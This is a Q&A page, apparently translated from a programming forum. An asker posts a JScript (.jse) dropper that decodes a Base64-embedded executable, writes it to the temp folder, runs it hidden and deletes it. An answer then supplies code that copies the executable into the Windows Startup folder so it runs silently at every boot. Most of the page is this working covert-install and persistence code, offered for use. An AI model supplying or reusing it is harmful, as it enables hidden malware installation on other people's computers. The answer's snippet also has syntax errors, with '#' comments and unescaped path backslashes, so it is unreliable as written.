如何使jse文件执行编码.exe并静默添加启动?Javascript将文件添加到启动?

How to Make jse file to execute encoded .exe & add startup silently? Javascript to add file to startup?

本文关键字:启动 添加 文件 静默 Javascript jse 何使 执行 编码 exe      更新时间:2023-10-16

>我正在制作一个JSE文件,它将解码Base64编码.exe文件,将其保存到tmp文件夹并执行。但是我需要在每次系统重新启动时将.exe文件添加到启动和运行中。我是编码初学者,刚刚用各种开源代码制作了这个程序。

谁能帮我如何使它自动启动?截至目前,一切正常。当我点击jse文件时,它在后台运行,从解码到安装exe。但是当我重新启动时,没有任何反应。

var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe
function decodeBase64(a) {
var b = new ActiveXObject("Microsoft.XMLDOM");
var c = b.createElement("tmp");
c.dataType = "bin.base64";
c.text = a;
return c.nodeTypedValue
}
function writeBytes(a, b) {
var c = 1;
var d = new ActiveXObject("ADODB.Stream");
d.Type = c;
d.Open();
d.Write(b);
d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
var c = 2;
var d = new ActiveXObject("Scripting.FileSystemObject");
var e = d.GetSpecialFolder(c) + "\" + b;
writeBytes(e, decodeBase64(a));
return e
}
function deleteFile(a) {
var b = new ActiveXObject("Scripting.FileSystemObject");
b.DeleteFile(a)
}
var fname = 'abc.exe';
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
oErrCode = oShell.Run(fpath, 0, true);
deleteFile(fpath)
} catch (err) {};

这运行良好,但任何人都可以帮助我在重新启动后每次运行这个.exe文件。

您只需将可执行文件复制到启动文件夹中。 您需要像这样更改代码:

try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
oErrCode = oShell.Run(fpath, 0, true);
var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
fso.CopyFile (fpath, "C:\Users\"+strUserName+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"); # copy the file into the current user startup folder
deleteFile(fpath);
} catch (err) {};